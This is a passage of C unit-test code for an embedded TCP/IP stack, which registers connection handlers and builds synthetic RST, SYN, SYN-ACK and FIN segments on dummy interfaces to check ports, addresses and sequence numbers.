DBG("rsp dst %s/%d\n", net_sprint_ipv6_addr(&NET_IPV6_BUF(rsp)->dst),
ntohs(NET_TCP_BUF(rsp)->dst_port));
net_hexdump_frags("request TCPv6", req);
net_hexdump_frags("reply TCPv6", rsp);
ret = net_recv_data(iface, rsp);
if (!ret) {
net_nbuf_unref(rsp);
}
k_sem_give(&wait_connect);
}
static int send_status = -EINVAL;
static int tester_send(struct net_if *iface, struct net_buf *buf)
{
if (!buf->frags) {
DBG("No data to send!\n");
return -ENODATA;
}
if (syn_v6_sent && net_nbuf_family(buf) == AF_INET6) {
DBG("v6 SYN was sent successfully\n");
syn_v6_sent = false;
v6_send_syn_ack(iface, buf);
} else {
DBG("Data was sent successfully\n");
}
net_nbuf_unref(buf);
send_status = 0;
return 0;
}
static int tester_send_peer(struct net_if *iface, struct net_buf *buf)
{
if (!buf->frags) {
DBG("No data to send!\n");
return -ENODATA;
}
DBG("Peer data was sent successfully\n");
net_nbuf_unref(buf);
return 0;
}
static inline struct in_addr *if_get_addr(struct net_if *iface)
{
int i;
for (i = 0; i < NET_IF_MAX_IPV4_ADDR; i++) {
if (iface->ipv4.unicast[i].is_used &&
iface->ipv4.unicast[i].address.family == AF_INET &&
iface->ipv4.unicast[i].addr_state == NET_ADDR_PREFERRED) {
return &iface->ipv4.unicast[i].address.in_addr;
}
}
return NULL;
}
struct ud {
const struct sockaddr *remote_addr;
const struct sockaddr *local_addr;
uint16_t remote_port;
uint16_t local_port;
char *test;
struct net_conn_handle *handle;
};
static struct ud *returned_ud;
static enum net_verdict test_ok(struct net_conn *conn,
struct net_buf *buf,
void *user_data)
{
struct ud *ud = (struct ud *)user_data;
k_sem_give(&recv_lock);
if (!ud) {
fail = true;
DBG("Test %s failed.", ud->test);
return NET_DROP;
}
fail = false;
returned_ud = user_data;
net_nbuf_unref(buf);
return NET_OK;
}
static enum net_verdict test_fail(struct net_conn *conn,
struct net_buf *buf,
void *user_data)
{
/* This function should never be called as there should not
* be a matching TCP connection.
*/
fail = true;
return NET_DROP;
}
static void setup_ipv6_tcp(struct net_buf *buf,
struct in6_addr *remote_addr,
struct in6_addr *local_addr,
uint16_t remote_port,
uint16_t local_port)
{
NET_IPV6_BUF(buf)->vtc = 0x60;
NET_IPV6_BUF(buf)->tcflow = 0;
NET_IPV6_BUF(buf)->flow = 0;
NET_IPV6_BUF(buf)->len[0] = 0;
NET_IPV6_BUF(buf)->len[1] = NET_TCPH_LEN;
NET_IPV6_BUF(buf)->nexthdr = IPPROTO_TCP;
NET_IPV6_BUF(buf)->hop_limit = 255;
net_ipaddr_copy(&NET_IPV6_BUF(buf)->src, remote_addr);
net_ipaddr_copy(&NET_IPV6_BUF(buf)->dst, local_addr);
net_nbuf_set_ip_hdr_len(buf, sizeof(struct net_ipv6_hdr));
NET_TCP_BUF(buf)->src_port = htons(remote_port);
NET_TCP_BUF(buf)->dst_port = htons(local_port);
net_nbuf_set_ext_len(buf, 0);
net_buf_add(buf->frags, net_nbuf_ip_hdr_len(buf) +
sizeof(struct net_tcp_hdr));
}
static void setup_ipv4_tcp(struct net_buf *buf,
struct in_addr *remote_addr,
struct in_addr *local_addr,
uint16_t remote_port,
uint16_t local_port)
{
NET_IPV4_BUF(buf)->vhl = 0x45;
NET_IPV4_BUF(buf)->tos = 0;
NET_IPV4_BUF(buf)->len[0] = 0;
NET_IPV4_BUF(buf)->len[1] = NET_TCPH_LEN +
sizeof(struct net_ipv4_hdr);
NET_IPV4_BUF(buf)->proto = IPPROTO_TCP;
net_ipaddr_copy(&NET_IPV4_BUF(buf)->src, remote_addr);
net_ipaddr_copy(&NET_IPV4_BUF(buf)->dst, local_addr);
net_nbuf_set_ip_hdr_len(buf, sizeof(struct net_ipv4_hdr));
NET_TCP_BUF(buf)->src_port = htons(remote_port);
NET_TCP_BUF(buf)->dst_port = htons(local_port);
net_nbuf_set_ext_len(buf, 0);
net_buf_add(buf->frags, net_nbuf_ip_hdr_len(buf) +
sizeof(struct net_tcp_hdr));
}
#define TIMEOUT 200
static bool send_ipv6_tcp_msg(struct net_if *iface,
struct in6_addr *src,
struct in6_addr *dst,
uint16_t src_port,
uint16_t dst_port,
struct ud *ud,
bool expect_failure)
{
struct net_buf *buf;
struct net_buf *frag;
int ret;
buf = net_nbuf_get_reserve_tx(0);
frag = net_nbuf_get_reserve_data(0);
net_buf_frag_add(buf, frag);
net_nbuf_set_iface(buf, iface);
net_nbuf_set_ll_reserve(buf, net_buf_headroom(frag));
setup_ipv6_tcp(buf, src, dst, src_port, dst_port);
ret = net_recv_data(iface, buf);
if (ret < 0) {
printk("Cannot recv buf %p, ret %d\n", buf, ret);
return false;
}
if (k_sem_take(&recv_lock, TIMEOUT)) {
printk("Timeout, packet not received\n");
if (expect_failure) {
return false;
} else {
return true;
}
}
/* Check that the returned user data is the same as what was given
* as a parameter.
*/
if (ud != returned_ud && !expect_failure) {
printk("IPv6 wrong user data %p returned, expected %p\n",
returned_ud, ud);
return false;
}
return !fail;
}
static bool send_ipv4_tcp_msg(struct net_if *iface,
struct in_addr *src,
struct in_addr *dst,
uint16_t src_port,
uint16_t dst_port,
struct ud *ud,
bool expect_failure)
{
struct net_buf *buf;
struct net_buf *frag;
int ret;
buf = net_nbuf_get_reserve_tx(0);
frag = net_nbuf_get_reserve_data(0);
net_buf_frag_add(buf, frag);
net_nbuf_set_iface(buf, iface);
net_nbuf_set_ll_reserve(buf, net_buf_headroom(frag));
setup_ipv4_tcp(buf, src, dst, src_port, dst_port);
ret = net_recv_data(iface, buf);
if (ret < 0) {
printk("Cannot recv buf %p, ret %d\n", buf, ret);
return false;
}
if (k_sem_take(&recv_lock, TIMEOUT)) {
printk("Timeout, packet not received\n");
if (expect_failure) {
return false;
} else {
return true;
}
}
/* Check that the returned user data is the same as what was given
* as a parameter.
*/
if (ud != returned_ud && !expect_failure) {
printk("IPv4 wrong user data %p returned, expected %p\n",
returned_ud, ud);
return false;
}
return !fail;
}
static void set_port(sa_family_t family, struct sockaddr *raddr,
struct sockaddr *laddr, uint16_t rport,
uint16_t lport)
{
if (family == AF_INET6) {
if (raddr) {
((struct sockaddr_in6 *)raddr)->
sin6_port = htons(rport);
}
if (laddr) {
((struct sockaddr_in6 *)laddr)->
sin6_port = htons(lport);
}
} else if (family == AF_INET) {
if (raddr) {
((struct sockaddr_in *)raddr)->
sin_port = htons(rport);
}
if (laddr) {
((struct sockaddr_in *)laddr)->
sin_port = htons(lport);
}
}
}
static bool test_register(void)
{
struct net_conn_handle *handlers[CONFIG_NET_MAX_CONN];
struct net_if *iface = net_if_get_default();
struct net_if_addr *ifaddr;
struct ud *ud;
int ret, i = 0;
bool st;
struct sockaddr_in6 my_addr6;
struct in6_addr in6addr_my = { { { 0x20, 0x01, 0x0d, 0xb8, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0x1 } } };
struct sockaddr_in6 peer_addr6;
struct in6_addr in6addr_peer = { { { 0x20, 0x01, 0x0d, 0xb8, 0, 0, 0, 0,
0, 0, 0, 0x4e, 0x11, 0, 0, 0x2 } } };
struct sockaddr_in my_addr4;
struct in_addr in4addr_my = { { { 192, 0, 2, 1 } } };
struct sockaddr_in peer_addr4;
struct in_addr in4addr_peer = { { { 192, 0, 2, 9 } } };
net_ipaddr_copy(&my_addr6.sin6_addr, &in6addr_my);
my_addr6.sin6_family = AF_INET6;
net_ipaddr_copy(&peer_addr6.sin6_addr, &in6addr_peer);
peer_addr6.sin6_family = AF_INET6;
net_ipaddr_copy(&my_addr4.sin_addr, &in4addr_my);
my_addr4.sin_family = AF_INET;
net_ipaddr_copy(&peer_addr4.sin_addr, &in4addr_peer);
peer_addr4.sin_family = AF_INET;
k_sem_init(&recv_lock, 0, UINT_MAX);
ifaddr = net_if_ipv6_addr_add(iface, &in6addr_my, NET_ADDR_MANUAL, 0);
if (!ifaddr) {
printk("Cannot add %s to interface %p\n",
net_sprint_ipv6_addr(&in6addr_my), iface);
return false;
}
ifaddr = net_if_ipv4_addr_add(iface, &in4addr_my, NET_ADDR_MANUAL, 0);
if (!ifaddr) {
printk("Cannot add %s to interface %p\n",
net_sprint_ipv4_addr(&in4addr_my), iface);
return false;
}
/*
* First test the TCP port handling logic. This just simulates
* received packet when TCP connection has been already connected.
* These tests are similar as when testing UDP.
*/
#define REGISTER(family, raddr, laddr, rport, lport) \
({ \
static struct ud user_data; \
\
user_data.remote_addr = (struct sockaddr *)raddr; \
user_data.local_addr = (struct sockaddr *)laddr; \
user_data.remote_port = rport; \
user_data.local_port = lport; \
user_data.test = #raddr"-"#laddr"-"#rport"-"#lport; \
\
set_port(family, (struct sockaddr *)raddr, \
(struct sockaddr *)laddr, rport, lport); \
\
ret = net_tcp_register((struct sockaddr *)raddr, \
(struct sockaddr *)laddr, \
rport, lport, \
test_ok, &user_data, \
&handlers[i]); \
if (ret) { \
printk("TCP register %s failed (%d)\n", \
user_data.test, ret); \
return false; \
} \
user_data.handle = handlers[i++]; \
&user_data; \
})
#define REGISTER_FAIL(raddr, laddr, rport, lport) \
ret = net_tcp_register((struct sockaddr *)raddr, \
(struct sockaddr *)laddr, \
rport, lport, \
test_fail, INT_TO_POINTER(0), NULL); \
if (!ret) { \
printk("TCP register invalid match %s failed\n", \
#raddr"-"#laddr"-"#rport"-"#lport); \
return false; \
}
#define UNREGISTER(ud) \
ret = net_tcp_unregister(ud->handle); \
if (ret) { \
printk("TCP unregister %p failed (%d)\n", ud->handle, \
ret); \
return false; \
}
#define TEST_IPV6_OK(ud, raddr, laddr, rport, lport) \
st = send_ipv6_tcp_msg(iface, raddr, laddr, rport, lport, ud, \
false); \
if (!st) { \
printk("%d: TCP test \"%s\" fail\n", __LINE__, \
ud->test); \
return false; \
}
#define TEST_IPV4_OK(ud, raddr, laddr, rport, lport) \
st = send_ipv4_tcp_msg(iface, raddr, laddr, rport, lport, ud, \
false); \
if (!st) { \
printk("%d: TCP test \"%s\" fail\n", __LINE__, \
ud->test); \
return false; \
}
#define TEST_IPV6_FAIL(ud, raddr, laddr, rport, lport) \
st = send_ipv6_tcp_msg(iface, raddr, laddr, rport, lport, ud, \
true); \
if (st) { \
printk("%d: TCP neg test \"%s\" fail\n", __LINE__, \
ud->test); \
return false; \
}
#define TEST_IPV4_FAIL(ud, raddr, laddr, rport, lport) \
st = send_ipv4_tcp_msg(iface, raddr, laddr, rport, lport, ud, \
true); \
if (st) { \
printk("%d: TCP neg test \"%s\" fail\n", __LINE__, \
ud->test); \
return false; \
}
ud = REGISTER(AF_INET6, &any_addr6, &any_addr6, 1234, 4242);
TEST_IPV6_OK(ud, &in6addr_peer, &in6addr_my, 1234, 4242);
TEST_IPV6_OK(ud, &in6addr_peer, &in6addr_my, 1234, 4242);
TEST_IPV6_FAIL(ud, &in6addr_peer, &in6addr_my, 1234, 61400);
TEST_IPV6_FAIL(ud, &in6addr_peer, &in6addr_my, 1234, 61400);
UNREGISTER(ud);
ud = REGISTER(AF_INET, &any_addr4, &any_addr4, 1234, 4242);
TEST_IPV4_OK(ud, &in4addr_peer, &in4addr_my, 1234, 4242);
TEST_IPV4_OK(ud, &in4addr_peer, &in4addr_my, 1234, 4242);
TEST_IPV4_FAIL(ud, &in4addr_peer, &in4addr_my, 1234, 4325);
TEST_IPV4_FAIL(ud, &in4addr_peer, &in4addr_my, 1234, 4325);
UNREGISTER(ud);
ud = REGISTER(AF_INET6, &any_addr6, NULL, 1234, 4242);
TEST_IPV6_OK(ud, &in6addr_peer, &in6addr_my, 1234, 4242);
TEST_IPV6_OK(ud, &in6addr_peer, &in6addr_my, 1234, 4242);
TEST_IPV6_FAIL(ud, &in6addr_peer, &in6addr_my, 1234, 61400);
TEST_IPV6_FAIL(ud, &in6addr_peer, &in6addr_my, 1234, 61400);
UNREGISTER(ud);
ud = REGISTER(AF_INET6, NULL, &any_addr6, 1234, 4242);
TEST_IPV6_OK(ud, &in6addr_peer, &in6addr_my, 1234, 4242);
TEST_IPV6_OK(ud, &in6addr_peer, &in6addr_my, 1234, 4242);
TEST_IPV6_FAIL(ud, &in6addr_peer, &in6addr_my, 1234, 61400);
TEST_IPV6_FAIL(ud, &in6addr_peer, &in6addr_my, 1234, 61400);
UNREGISTER(ud);
ud = REGISTER(AF_INET6, &peer_addr6, &my_addr6, 1234, 4242);
TEST_IPV6_OK(ud, &in6addr_peer, &in6addr_my, 1234, 4242);
TEST_IPV6_FAIL(ud, &in6addr_peer, &in6addr_my, 1234, 4243);
ud = REGISTER(AF_INET, &peer_addr4, &my_addr4, 1234, 4242);
TEST_IPV4_OK(ud, &in4addr_peer, &in4addr_my, 1234, 4242);
TEST_IPV4_FAIL(ud, &in4addr_peer, &in4addr_my, 1234, 4243);
ud = REGISTER(AF_UNSPEC, NULL, NULL, 1234, 42423);
TEST_IPV4_OK(ud, &in4addr_peer, &in4addr_my, 1234, 42423);
TEST_IPV6_OK(ud, &in6addr_peer, &in6addr_my, 1234, 42423);
ud = REGISTER(AF_UNSPEC, NULL, NULL, 1234, 0);
TEST_IPV4_OK(ud, &in4addr_peer, &in4addr_my, 1234, 42422);
TEST_IPV6_OK(ud, &in6addr_peer, &in6addr_my, 1234, 42422);
TEST_IPV4_OK(ud, &in4addr_peer, &in4addr_my, 1234, 42422);
TEST_IPV6_OK(ud, &in6addr_peer, &in6addr_my, 1234, 42422);
TEST_IPV4_FAIL(ud, &in4addr_peer, &in4addr_my, 12345, 42421);
TEST_IPV6_FAIL(ud, &in6addr_peer, &in6addr_my, 12345, 42421);
ud = REGISTER(AF_UNSPEC, NULL, NULL, 0, 0);
TEST_IPV4_OK(ud, &in4addr_peer, &in4addr_my, 12345, 42421);
TEST_IPV6_OK(ud, &in6addr_peer, &in6addr_my, 12345, 42421);
/* Remote addr same as local addr, these two will never match */
REGISTER(AF_INET6, &my_addr6, NULL, 1234, 4242);
REGISTER(AF_INET, &my_addr4, NULL, 1234, 4242);
/* IPv4 remote addr and IPv6 remote addr, impossible combination */
REGISTER_FAIL(&my_addr4, &my_addr6, 1234, 4242);
if (fail) {
printk("Tests failed\n");
return false;
}
i--;
while (i) {
ret = net_tcp_unregister(handlers[i]);
if (ret < 0 && ret != -ENOENT) {
printk("Cannot unregister tcp %d\n", i);
return false;
}
i--;
}
if (!(net_tcp_unregister(NULL) < 0)) {
printk("Unregister tcp failed\n");
return false;
}
st = net_if_ipv6_addr_rm(iface, &in6addr_my);
if (!st) {
printk("Cannot remove %s from interface %p\n",
net_sprint_ipv6_addr(&in6addr_my), iface);
return false;
}
st = net_if_ipv4_addr_rm(iface, &in4addr_my);
if (!st) {
printk("Cannot rm %s from interface %p\n",
net_sprint_ipv4_addr(&in4addr_my), iface);
return false;
}
return true;
}
static bool v6_check_port_and_address(char *test_str, struct net_buf *buf,
const struct in6_addr *expected_dst_addr,
uint16_t expected_dst_port)
{
if (!net_ipv6_addr_cmp(&NET_IPV6_BUF(buf)->src,
&my_v6_addr.sin6_addr)) {
printk("%s: IPv6 source address mismatch, should be %s ",
test_str,
net_sprint_ipv6_addr(&my_v6_addr.sin6_addr));
printk("was %s\n",
net_sprint_ipv6_addr(&NET_IPV6_BUF(buf)->src));
return false;
}
if (NET_TCP_BUF(buf)->src_port != my_v6_addr.sin6_port) {
printk("%s: IPv6 source port mismatch, %d vs %d\n",
test_str, ntohs(NET_TCP_BUF(buf)->src_port),
ntohs(my_v6_addr.sin6_port));
return false;
}
if (!net_ipv6_addr_cmp(expected_dst_addr, &NET_IPV6_BUF(buf)->dst)) {
printk("%s: IPv6 destination address mismatch, should be %s ",
test_str,
net_sprint_ipv6_addr(expected_dst_addr));
printk("was %s\n",
net_sprint_ipv6_addr(&NET_IPV6_BUF(buf)->dst));
return false;
}
if (NET_TCP_BUF(buf)->dst_port != htons(expected_dst_port)) {
printk("%s: IPv6 destination port mismatch, %d vs %d\n",
test_str, ntohs(NET_TCP_BUF(buf)->dst_port),
expected_dst_port);
return false;
}
return true;
}
static bool v4_check_port_and_address(char *test_str, struct net_buf *buf,
const struct in_addr *expected_dst_addr,
uint16_t expected_dst_port)
{
if (!net_ipv4_addr_cmp(&NET_IPV4_BUF(buf)->src,
&my_v4_addr.sin_addr)) {
printk("%s: IPv4 source address mismatch, should be %s ",
test_str,
net_sprint_ipv4_addr(&my_v4_addr.sin_addr));
printk("was %s\n",
net_sprint_ipv4_addr(&NET_IPV4_BUF(buf)->src));
return false;
}
if (NET_TCP_BUF(buf)->src_port != my_v4_addr.sin_port) {
printk("%s: IPv4 source port mismatch, %d vs %d\n",
test_str, ntohs(NET_TCP_BUF(buf)->src_port),
ntohs(my_v4_addr.sin_port));
return false;
}
if (!net_ipv4_addr_cmp(expected_dst_addr, &NET_IPV4_BUF(buf)->dst)) {
printk("%s: IPv4 destination address mismatch, should be %s ",
test_str,
net_sprint_ipv4_addr(expected_dst_addr));
printk("was %s\n",
net_sprint_ipv4_addr(&NET_IPV4_BUF(buf)->dst));
return false;
}
if (NET_TCP_BUF(buf)->dst_port != htons(expected_dst_port)) {
printk("%s: IPv4 destination port mismatch, %d vs %d\n",
test_str, ntohs(NET_TCP_BUF(buf)->dst_port),
expected_dst_port);
return false;
}
return true;
}
static bool test_create_v6_reset_packet(void)
{
struct net_tcp *tcp = v6_ctx->tcp;
uint8_t flags = NET_TCP_RST;
struct net_buf *buf;
int ret;
ret = net_tcp_prepare_segment(tcp, flags, NULL, 0,
(struct sockaddr *)&peer_v6_addr, &buf);
if (ret) {
printk("Prepare segment failed (%d)\n", ret);
return false;
}
net_hexdump_frags("TCPv6", buf);
if (!(NET_TCP_FLAGS(buf) & NET_TCP_RST)) {
printk("Reset flag not set\n");
return false;
}
if (!v6_check_port_and_address("TCP reset", buf,
&peer_v6_inaddr, PEER_TCP_PORT)) {
return false;
}
net_nbuf_unref(buf);
return true;
}
static bool test_create_v4_reset_packet(void)
{
struct net_buf *buf;
struct net_tcp *tcp = v4_ctx->tcp;
uint8_t flags = NET_TCP_RST;
int ret;
ret = net_tcp_prepare_segment(tcp, flags, NULL, 0,
(struct sockaddr *)&peer_v4_addr, &buf);
if (ret) {
printk("Prepare segment failed (%d)\n", ret);
return false;
}
net_hexdump_frags("TCPv4", buf);
if (!(NET_TCP_FLAGS(buf) & NET_TCP_RST)) {
printk("Reset flag not set\n");
return false;
}
if (!v4_check_port_and_address("TCP reset", buf,
&peer_v4_inaddr, PEER_TCP_PORT)) {
return false;
}
net_nbuf_unref(buf);
return true;
}
static bool test_create_v6_syn_packet(void)
{
struct net_buf *buf;
struct net_tcp *tcp = v6_ctx->tcp;
uint8_t flags = NET_TCP_SYN;
int ret;
ret = net_tcp_prepare_segment(tcp, flags, NULL, 0,
(struct sockaddr *)&peer_v6_addr, &buf);
if (ret) {
printk("Prepare segment failed (%d)\n", ret);
return false;
}
net_hexdump_frags("TCPv6", buf);
if (!(NET_TCP_FLAGS(buf) & NET_TCP_SYN)) {
printk("SYN flag not set\n");
return false;
}
if (!v6_check_port_and_address("TCP syn", buf,
&peer_v6_inaddr, PEER_TCP_PORT)) {
return false;
}
net_nbuf_unref(buf);
return true;
}
static bool test_create_v4_syn_packet(void)
{
struct net_buf *buf;
struct net_tcp *tcp = v4_ctx->tcp;
uint8_t flags = NET_TCP_SYN;
int ret;
ret = net_tcp_prepare_segment(tcp, flags, NULL, 0,
(struct sockaddr *)&peer_v4_addr, &buf);
if (ret) {
printk("Prepare segment failed (%d)\n", ret);
return false;
}
net_hexdump_frags("TCPv4", buf);
if (!(NET_TCP_FLAGS(buf) & NET_TCP_SYN)) {
printk("Reset flag not set\n");
return false;
}
if (!v4_check_port_and_address("TCP syn", buf,
&peer_v4_inaddr, PEER_TCP_PORT)) {
return false;
}
net_nbuf_unref(buf);
return true;
}
static bool test_create_v6_synack_packet(void)
{
struct net_buf *buf;
struct net_tcp *tcp = v6_ctx->tcp;
uint8_t flags = NET_TCP_SYN | NET_TCP_ACK;
int ret;
ret = net_tcp_prepare_segment(tcp, flags, NULL, 0,
(struct sockaddr *)&peer_v6_addr, &buf);
if (ret) {
printk("Prepare segment failed (%d)\n", ret);
return false;
}
net_hexdump_frags("TCPv6", buf);
if (!((NET_TCP_FLAGS(buf) & NET_TCP_SYN) &&
(NET_TCP_FLAGS(buf) & NET_TCP_ACK))) {
printk("SYN|ACK flag not set\n");
return false;
}
if (!v6_check_port_and_address("TCP synack", buf,
&peer_v6_inaddr, PEER_TCP_PORT)) {
return false;
}
net_nbuf_unref(buf);
return true;
}
static bool test_create_v4_synack_packet(void)
{
struct net_buf *buf;
struct net_tcp *tcp = v4_ctx->tcp;
uint8_t flags = NET_TCP_SYN | NET_TCP_ACK;
int ret;
ret = net_tcp_prepare_segment(tcp, flags, NULL, 0,
(struct sockaddr *)&peer_v4_addr, &buf);
if (ret) {
printk("Prepare segment failed (%d)\n", ret);
return false;
}
net_hexdump_frags("TCPv4", buf);
if (!((NET_TCP_FLAGS(buf) & NET_TCP_SYN) &&
(NET_TCP_FLAGS(buf) & NET_TCP_ACK))) {
printk("SYN|ACK flag not set\n");
return false;
}
if (!v4_check_port_and_address("TCP synack", buf,
&peer_v4_inaddr, PEER_TCP_PORT)) {
return false;
}
net_nbuf_unref(buf);
return true;
}
static bool test_create_v6_fin_packet(void)
{
struct net_buf *buf;
struct net_tcp *tcp = v6_ctx->tcp;
uint8_t flags = NET_TCP_FIN;
int ret;
ret = net_tcp_prepare_segment(tcp, flags, NULL, 0,
(struct sockaddr *)&peer_v6_addr, &buf);
if (ret) {
printk("Prepare segment failed (%d)\n", ret);
return false;
}
net_hexdump_frags("TCPv6", buf);
if (!(NET_TCP_FLAGS(buf) & NET_TCP_FIN)) {
printk("FIN flag not set\n");
return false;
}
if (!v6_check_port_and_address("TCP fin", buf,
&peer_v6_inaddr, PEER_TCP_PORT)) {
return false;
}
net_nbuf_unref(buf);
return true;
}
static bool test_create_v4_fin_packet(void)
{
struct net_buf *buf;
struct net_tcp *tcp = v4_ctx->tcp;
uint8_t flags = NET_TCP_FIN;
int ret;
ret = net_tcp_prepare_segment(tcp, flags, NULL, 0,
(struct sockaddr *)&peer_v4_addr, &buf);
if (ret) {
printk("Prepare segment failed (%d)\n", ret);
return false;
}
net_hexdump_frags("TCPv4", buf);
if (!(NET_TCP_FLAGS(buf) & NET_TCP_FIN)) {
printk("FIN flag not set\n");
return false;
}
if (!v4_check_port_and_address("TCP fin", buf,
&peer_v4_inaddr, PEER_TCP_PORT)) {
return false;
}
net_nbuf_unref(buf);
return true;
}
static bool test_v6_seq_check(void)
{
struct net_buf *buf;
struct net_tcp *tcp = v6_ctx->tcp;
uint8_t flags = NET_TCP_SYN;
uint32_t seq;
int ret;
ret = net_tcp_prepare_segment(tcp, flags, NULL, 0,
(struct sockaddr *)&peer_v6_addr, &buf);
if (ret) {
printk("Prepare segment failed (%d)\n", ret);
return false;
}
net_hexdump_frags("TCPv6", buf);
seq = NET_TCP_BUF(buf)->seq[0] << 24 |
NET_TCP_BUF(buf)->seq[1] << 16 |
NET_TCP_BUF(buf)->seq[2] << 8 |
NET_TCP_BUF(buf)->seq[3];
if (seq != (tcp->send_seq - 1)) {
printk("Seq does not match (%u vs %u)\n",
seq + 1, tcp->send_seq);
return false;
}
net_nbuf_unref(buf);
return true;
}
static bool test_v4_seq_check(void)
{
struct net_buf *buf;
struct net_tcp *tcp = v4_ctx->tcp;
uint8_t flags = NET_TCP_SYN;
uint32_t seq;
int ret;
ret = net_tcp_prepare_segment(tcp, flags, NULL, 0,
(struct sockaddr *)&peer_v4_addr, &buf);
if (ret) {
printk("Prepare segment failed (%d)\n", ret);
return false;
}
net_hexdump_frags("TCPv4", buf);
seq = NET_TCP_BUF(buf)->seq[0] << 24 |
NET_TCP_BUF(buf)->seq[1] << 16 |
NET_TCP_BUF(buf)->seq[2] << 8 |
NET_TCP_BUF(buf)->seq[3];
if (seq != (tcp->send_seq - 1)) {
printk("Seq does not match (%u vs %u)\n",
seq + 1, tcp->send_seq);
return false;
}
net_nbuf_unref(buf);
return true;
}
#if 0
static void connect_v6_cb(struct net_context *context, void *user_data)
{
if (POINTER_TO_INT(user_data) != AF_INET6) {
fail = true;
}
fail = false;
connect_cb_called = true;
DBG("IPv6 connect cb called\n");
}
static void connect_v4_cb(struct net_context *context, void *user_data)
{
if (POINTER_TO_INT(user_data) != AF_INET) {
fail = true;
}
fail = false;
connect_cb_called = true;
k_sem_give(&wait_connect);
DBG("IPv4 connect cb called\n");
}
#endif
#if 0
static bool test_create_v6_data_packet(void)
{
return true;
}
#endif
struct net_tcp_context net_tcp_context_data;
struct net_tcp_context net_tcp_context_data_peer;
static struct net_if_api net_tcp_if_api = {
.init = net_tcp_iface_init,
.send = tester_send,
};
static struct net_if_api net_tcp_if_api_peer = {
.init = net_tcp_iface_init,
.send = tester_send_peer,
};
#define _ETH_L2_LAYER DUMMY_L2
#define _ETH_L2_CTX_TYPE NET_L2_GET_CTX_TYPE(DUMMY_L2)
NET_DEVICE_INIT_INSTANCE(net_tcp_test, "net_tcp_test", host,
net_tcp_dev_init, &net_tcp_context_data, NULL,
CONFIG_KERNEL_INIT_PRIORITY_DEFAULT,
&net_tcp_if_api, _ETH_L2_LAYER, _ETH_L2_CTX_TYPE, 127);
NET_DEVICE_INIT_INSTANCE(net_tcp_test_peer, "net_tcp_test_peer", peer,
net_tcp_dev_init, &net_tcp_context_data_peer, NULL,
CONFIG_KERNEL_INIT_PRIORITY_DEFAULT,
&net_tcp_if_api_peer, _ETH_L2_LAYER, _ETH_L2_CTX_TYPE, 127);
static bool test_init_tcp_context(void)
{
struct net_if *iface = net_if_get_default();
struct net_if_addr *ifaddr;
int ret;
if (!iface) {
TC_ERROR("Interface is NULL\n");
return false;
}
ifaddr = net_if_ipv6_addr_add(iface, &my_v6_inaddr,
NET_ADDR_MANUAL, 0);
if (!ifaddr) {
printk("Cannot add %s to interface %p\n",
net_sprint_ipv6_addr(&my_v6_inaddr), iface);
return false;
}
ifaddr = net_if_ipv4_addr_add(iface, &my_v4_inaddr,
NET_ADDR_MANUAL, 0);
if (!ifaddr) {
printk("Cannot add %s to interface %p\n",
net_sprint_ipv4_addr(&my_v4_inaddr), iface);
return false;
}
ret = net_context_get(AF_INET6, SOCK_STREAM, IPPROTO_TCP, &v6_ctx);
if (ret != 0) {
TC_ERROR("Context get v6 test failed.\n");
return false;
}
if (!v6_ctx) {
TC_ERROR("Got NULL v6 context\n");
return false;
}
net_ipaddr_copy(&my_v6_addr.sin6_addr, &my_v6_inaddr);
my_v6_addr.sin6_family = AF_INET6;
my_v6_addr.sin6_port = htons(MY_TCP_PORT);
net_ipaddr_copy(&peer_v6_addr.sin6_addr, &peer_v6_inaddr);
peer_v6_addr.sin6_family = AF_INET6;
peer_v6_addr.sin6_port = htons(PEER_TCP_PORT);
ret = net_context_bind(v6_ctx, (struct sockaddr *)&my_v6_addr,
sizeof(my_v6_addr));
if (ret) {
TC_ERROR("Context bind v6 test failed (%d)\n", ret);
return false;
}
ret = net_context_get(AF_INET, SOCK_STREAM, IPPROTO_TCP, &v4_ctx);
if (ret != 0) {
TC_ERROR("Context get v4 test failed.\n");
return false;
}
if (!v4_ctx) {
TC_ERROR("Got NULL v4 context\n");
return false;
}
net_ipaddr_copy(&my_v4_addr.sin_addr, &my_v4_inaddr);
my_v4_addr.sin_family = AF_INET;
my_v4_addr.sin_port = htons(MY_TCP_PORT);
net_ipaddr_copy(&peer_v4_addr.sin_addr, &peer_v4_inaddr);
peer_v4_addr.sin_family = AF_INET;
peer_v4_addr.sin_port = htons(PEER_TCP_PORT);
ret = net_context_bind(v4_ctx, (struct sockaddr *)&my_v4_addr,
sizeof(my_v4_addr));
if (ret) {
TC_ERROR("Context bind v4 test failed (%d)\n", ret);
return false;
}
return true;
}
static bool test_init_tcp_reply_context(void)
{
struct net_if *iface = net_if_get_default() + 1;
struct net_if_addr *ifaddr;
int ret;
ifaddr = net_if_ipv6_addr_add(iface, &peer_v6_inaddr, NET_ADDR_MANUAL,
0);
if (!ifaddr) {
printk("Cannot add %s to interface %p\n",
net_sprint_ipv6_addr(&peer_v6_inaddr), iface);
return false;
}
ifaddr = net_if_ipv4_addr_add(iface, &peer_v4_inaddr, NET_ADDR_MANUAL,
0);
if (!ifaddr) {
printk("Cannot add %s to interface %p\n",
net_sprint_ipv4_addr(&peer_v4_inaddr), iface);
return false;
}
ret = net_context_get(AF_INET6, SOCK_STREAM, IPPROTO_TCP,
&reply_v6_ctx);
if (ret != 0) {
TC_ERROR("Context get reply v6 test failed.\n");
return false;
}
if (!reply_v6_ctx) {
TC_ERROR("Got NULL reply v6 context\n");
return false;
}
ret = net_context_bind(reply_v6_ctx, (struct sockaddr *)&peer_v6_addr,
sizeof(peer_v6_addr));
if (ret) {
TC_ERROR("Context bind reply v6 test failed (%d)\n", ret);
return false;
}
ret = net_context_get(AF_INET, SOCK_STREAM, IPPROTO_TCP,
&reply_v4_ctx);
if (ret != 0) {
TC_ERROR("Context get reply v4 test failed.\n");
return false;
}
if (!reply_v4_ctx) {
TC_ERROR("Got NULL reply v4 context\n");
return false;
}
ret = net_context_bind(reply_v4_ctx, (struct sockaddr *)&peer_v4_addr,
sizeof(peer_v4_addr));
if (ret) {
TC_ERROR("Context bind reply v4 test failed (%d)\n", ret);
return false;
}
return true;
}
static void accept_v6_cb(struct net_context *new_context,
struct sockaddr *addr,
socklen_t addrlen,
int error,
void *user_data)
{
DBG("error %d\n", error);
}
static void accept_v4_cb(struct net_context *new_context,
struct sockaddr *addr,
socklen_t addrlen,
int error,
void *user_data)
{
DBG("error %d\n", error);
}
static bool test_init_tcp_accept(void)
{
int ret;
ret = net_context_listen(reply_v6_ctx, 0);
if (ret) {
